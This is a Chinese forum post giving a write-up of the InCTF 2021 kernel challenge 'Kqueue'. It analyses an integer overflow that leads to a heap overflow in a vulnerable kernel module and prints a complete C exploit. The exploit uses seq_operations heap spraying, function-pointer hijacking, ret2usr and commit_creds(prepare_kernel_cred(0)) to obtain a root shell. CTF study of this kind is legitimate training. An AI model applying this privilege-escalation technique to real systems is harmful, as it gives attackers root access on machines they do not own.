首页
社区
课程
招聘
[原创]InCTF 内核Pwn之 Kqueue
2021-8-23 16:26 19681

[原创]InCTF 内核Pwn之 Kqueue

2021-8-23 16:26
19681

据说InCTF国际赛是印度的强网杯233333 。

 

官方WP: https://blog.bi0s.in/2021/08/17/Pwn/InCTFi21-Kqueue/

 

比赛的时候有点事情,没怎么看题,后面重新复现一下,感觉我的exp比官方的wp简单一些。

题目概览

给出了源码。

 

在内核态实现了一个队列管理程序。

1
queue *kqueues[MAX_QUEUES] = {(queue *)NULL};

最多管理五个队列(其实是6个,他写的有问题,后面再说)。

 

每个队列由一个 (queue *) 查找,维护。

 

单个队列的管理结构是一个 queue

1
2
3
4
5
6
7
8
9
/* Sometimes , waiting in a queue is so boring, but wait , this isn't any ordinary queue */
 
typedef struct{
    uint16_t data_size;     //队列每一项entry的大小
    uint64_t queue_size; //队列整体的大小
    uint32_t max_entries;//队列最多的项数
    uint16_t idx;
    char* data;
}queue;

队列中的每一项是一个 queue_entry

1
2
3
4
5
6
typedef struct queue_entry queue_entry;
struct queue_entry{
    uint16_t idx;                //当前entry的idx
    char *data;                    //当前entry维护的数据
    queue_entry *next;    //next指针
};

创建队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
static noinline long create_kqueue(request_t request){
    long result = INVALID;
        // 最多是五个队列
    if(queueCount > MAX_QUEUES)
        err("[-] Max queue count reached");
    // 创建队列时元素可以等于1,不能小于1
    if(request.max_entries<1)
        err("[-] kqueue entries should be greater than 0");
    if(request.data_size>MAX_DATA_SIZE)
        err("[-] kqueue data size exceed");
    queue_entry *kqueue_entry;
 
    ull space = 0;
    if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)            // 整数溢出
        err("[-] Integer overflow");
 
    /* Size is the size of queue structure + size of entry * request entries */
    ull queue_size = 0;
    if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
        err("[-] Integer overflow");
 
    if(queue_size>sizeof(queue) + 0x10000)
        err("[-] Max kqueue alloc limit reached");
 
    queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
    queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
 
    queue->data_size   = request.data_size;    
    queue->max_entries = request.max_entries;  
    queue->queue_size  = queue_size;           
 
    kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
 
    queue_entry* current_entry = kqueue_entry;
    queue_entry* prev_entry = current_entry;
 
    uint32_t i=1;
 
    // [1,request.max_entries]
    for(i=1;i<request.max_entries+1;i++){
        if(i!=request.max_entries)
            prev_entry->next = NULL;
 
        current_entry->idx = i;
        current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
 
        /* Increment current_entry by size of queue_entry */
        current_entry += sizeof(queue_entry)/16;
 
        /* Populate next pointer of the previous entry */
        prev_entry->next = current_entry;
        prev_entry = prev_entry->next;
    }
 
 
    // 这里尝试找到kqueue中一个不为NULL的项
    uint32_t j = 0;
    for(j=0;j<MAX_QUEUES;j++){
        if(kqueues[j] == NULL)
            break;
    }
    // breakfor循环后 j = MAX_QUEUES,不会触发下面的if
    if(j>MAX_QUEUES)
        err("[-] No kqueue slot left");
 
    // 导致我们越界分配了一个 queue?
    /* Assign the newly created kqueue to the kqueues */
    // queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
    kqueues[j] = queue;
    queueCount++;
    result = 0;
    return result;
}

我们主要关注:

1
2
3
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)            // 整数溢出
    err("[-] Integer overflow");

首先,__builtin_umulll_overflow 是gcc 内置的用于检测乘法溢出的函数:

 

https://gcc.gnu.org/onlinedocs/gcc/Integer-Overflow-Builtins.html

 

他做的事情就是去检测 sizeof(queue_entry) * (request.max_entries+1)是否乘法溢出(这个结果被放在space里)

 

问题在于:request.max_entries 本身并没有进行溢出检测。而它是一个32位无符号数,如果request.max_entries = 0xffffffff 那么 +1 后会造成整数溢出,通过检测。

 

而此时 request.max_entries 为一个极大值。

1
queue->max_entries = request.max_entries;

此时space变量计算错误(为0),导致 queue_size 为一个极小值。

1
2
3
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
    err("[-] Integer overflow");

queue_size = sizeof(queue)

 

进而queue_size也变成一个极小值

1
2
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
queue->queue_size  = queue_size;

最后:queue->max_entries = 0xffffffff,导致循环被跳过,没有真正分配queue_entry.

1
2
3
4
//request.max_entries+1 = 0
for(i=1;i<request.max_entries+1;i++){
      ......
    }

值得一提的是,他这个函数后面写的也有问题,可以越界分配一个queue。。然后free掉就可以直接panic(好像是他自己写错了。。)

保存队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static noinline long save_kqueue_entries(request_t request){
  ......
  // 为此需要save的队列分配空间,size为queue->queue->size
    char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
      // 先拷贝queue头数据,这里没有问题
    if(queue->data && request.data_size)
        validate(memcpy(new_queue,queue->data,request.data_size));
    else
        err("[-] Internal error");
 
      // 再拷贝所有queue的entry数据,这里发生了溢出
 
    uint32_t i=0;
    for(i=1;i<request.max_entries+1;i++){
        if(!kqueue_entry || !kqueue_entry->data)
            break;
        if(kqueue_entry->data && request.data_size)
            validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
        else
            err("[-] Internal error");
        kqueue_entry = kqueue_entry->next;
        new_queue += queue->data_size;
    }
  ......
 
}

由于我们的构造,导致 queue_size 变成了一个极小值。进而此处 new_queue 分配过小 。而在for循环里又直接向new_queue的对应位置拷贝了数据。并且拷贝的数据是 kqueue_entry->data ,此时kqueue也是分配的有问题(具体可以回到create里,总之就是kqueue_entry没有正常分配空间)

 

运行后会panic掉,因为此时 kqueue_entry->data 不是一个合法的值。

1
2
3
4
0xffffffffc00004ce <save_kqueue_entries+238>    call   memcpy <memcpy>
       dest: 0xffff88801e3b9fa0 ◂— sbb    al, 0x1d /* 0x232221201f1e1d1c */
       src: 0xdead000000000100
       n: 0x20

根本原因是在:

1
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));

中 kqueue_entry指针越界,访问了不合法位置的数据。

漏洞利用

在堆上喷射大量的 seq_operations

 

通过堆溢出overwrite掉ops[0],即:void * (*start) (struct seq_file *m, loff_t *pos);

 

实现hijack rip。

1
2
3
4
0xffffffffc00004ce <save_kqueue_entries+238>    call   memcpy <memcpy>
       dest: 0xffff88801dc10980 —▸ 0xffffffff812005d0 (single_start) ◂— xor    eax, eax /* 0x940f003e8348c031 */
       src: 0xffffea0000683e30 ◂— add    byte ptr [rax], al /* 0x100000000000000 */
       n: 0x20

一个poc如下:

 

https://paste.ubuntu.com/p/b3j29GhtQt/

1
2
3
4
5
6
7
8
9
10
11
12
[    8.977709] RIP: 0010:0x100000000000000
[    8.978444] Code: Bad RIP value.
 
[    8.987225] Call Trace:
[    8.989460]  ? seq_read+0x89/0x3d0
[    8.989770]  ? vfs_read+0x9b/0x180
[    8.989895]  ? ksys_read+0x5a/0xd0
[    8.990136]  ? do_syscall_64+0x3e/0x70
[    8.990332]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    8.990577] Modules linked in: kqueue(O)
[    8.992286] ---[ end trace 8ca9e01e6f1c5a76 ]---
[    8.992629] RIP: 0010:0x100000000000000

过尝试,当我们第二次分配queue时,<u>有很大概率被分配到第一次的data数据的上方</u>。

 

我们将第一次的data数据进行恶意的构造,然后在第二次完成堆溢出,覆盖函数指针劫持rip,然后在用户态执行shellcode即可。

 

由于没有开启smep、smap,我们ret2usr之后在用户态再swapgs,iretq一下重新着陆到shell函数即可。

exp

我的exp如下,感觉比官网的简单不少。只需要一次堆溢出就可以pwn。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
 
#include <errno.h>
#include <pty.h>
#include <linux/tty.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include<stdint.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
 
#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE   0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE          0xB105BABE
 
/* This is how a typical request looks */
 
typedef struct{
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char* data;
}request_t;
 
char *file = "/dev/kqueue";
int fd;
int seq_fd[0x200]={0};
uint64_t f_shell;
uint64_t user_cs,user_ss,user_sp,user_rflags,evil_rip;
 
void save_state(){
    __asm__(".intel_syntax noprefix;"
            "mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_sp,rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax;"
            );
}
static void delete(int idx){
        request_t r_del = {
        .queue_idx = idx,
    };
    ioctl(fd,DELETE_KQUEUE,&r_del);
}
 
static void create(uint32_t max_entries,uint16_t data_size){
    request_t r = {
        .max_entries = max_entries,
        .data_size = data_size,
    };
    ioctl(fd,CREATE_KQUEUE,&r);
}
 
static void save(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size){
    request_t r = {
        .max_entries = max_entries,
        .queue_idx = queue_idx,
        .data_size = data_size
    };
    ioctl(fd,SAVE,&r);
}
 
static void edit(uint16_t queue_idx,uint16_t entry_idx,char* data){
    request_t r = {
        .queue_idx = queue_idx,
        .entry_idx = entry_idx,
        .data = data
    };
    ioctl(fd,EDIT_KQUEUE,&r);
}
 
void spray(){
    for(int i=0;i<0x100;i++){
        seq_fd[i] =  open("/proc/self/stat", O_RDONLY);
        if(seq_fd[i]<=0){printf("open seq failed\n");}
    }
    puts("[+] spray() done");
}
 
 
void spray_2(){
    for(int i=0x100;i<0x200;i++){
        seq_fd[i] =  open("/proc/self/stat", O_RDONLY);
        if(seq_fd[i]<=0){printf("open seq failed\n");}
    }
    puts("[+] spray() done");
}
 
void trigger(){
    char data[0x10];
    for(int i=0;i<0x200;i++){
        read(seq_fd[i],(char *)data,0x10);
    }
}
void shell(){
    system("/bin/sh");
}
void fuck(){
    asm(
        ".intel_syntax noprefix;"
        "mov r12,[rsp+0x8];"
        "mov r13,r12;"
        "sub r12, 0x174bf9;"
        "sub r13, 0x175039;"
        "mov rdi, 0;"
        "call r12;"
        "mov rdi,rax;"
        "call r13;"
        "swapgs;"
        "mov r14, user_ss;"
        "push r14;"
        "mov r14, user_sp;"
        "push r14;"
        "mov r14, user_rflags;"
        "push r14;"
        "mov r14, user_cs;"
        "push r14;"
        "mov r14, evil_rip;"
        "push r14;"
        "iretq;"
        ".att_syntax;"
    );
}
 
// r12 0xffffffff81201179
// 0xffffffff8108c580 T prepare_kernel_cred
// 0xffffffff8108c140 T commit_creds
void new_page(){
    uint64_t page=0x1234f000;
    if (mmap((void *)page, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) == MAP_FAILED){
        perror("[-] failed to mmap");
    }
    *((uint64_t *)0x1234f000) = (uint64_t)fuck;
    printf("fuck(): %#lx\n",fuck);
    printf("[+] mmap %#lx\n",page);
}
int main(){
    save_state();
    evil_rip = (uint64_t)shell;
    new_page();
    uint64_t data[4]={0x6161616161616161,0x1234f000,0x6161616161616161,0x1234f000};
    fd = open(file,0);
    if(fd<0){perror(file);exit(0);}
    create(0xffffffff,0x10);
    edit(0,0,(char *)data);     //  放好evil数据,为下一次堆溢出做准备
    spray();
    save(0,0x0,0x10);
    create(0xffffffff,0x20);
    spray_2();
    save(1,0x1,0x10);
    trigger();
    return 0;
}
//0xffffffff81037727 : xchg eax, esp ; ret

效果:

 

图片描述


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-8-23 16:28 被Roland_编辑 ,原因:
收藏
点赞6
打赏
分享
最新回复 (2)
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
青稚lll 2021-9-3 09:01
2
0
有附件吗,谢谢
雪    币: 5291
活跃值: (11715)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2021-9-6 19:27
3
0
pwn一直处在菜鸡水准
游客
登录 | 注册 方可回帖
返回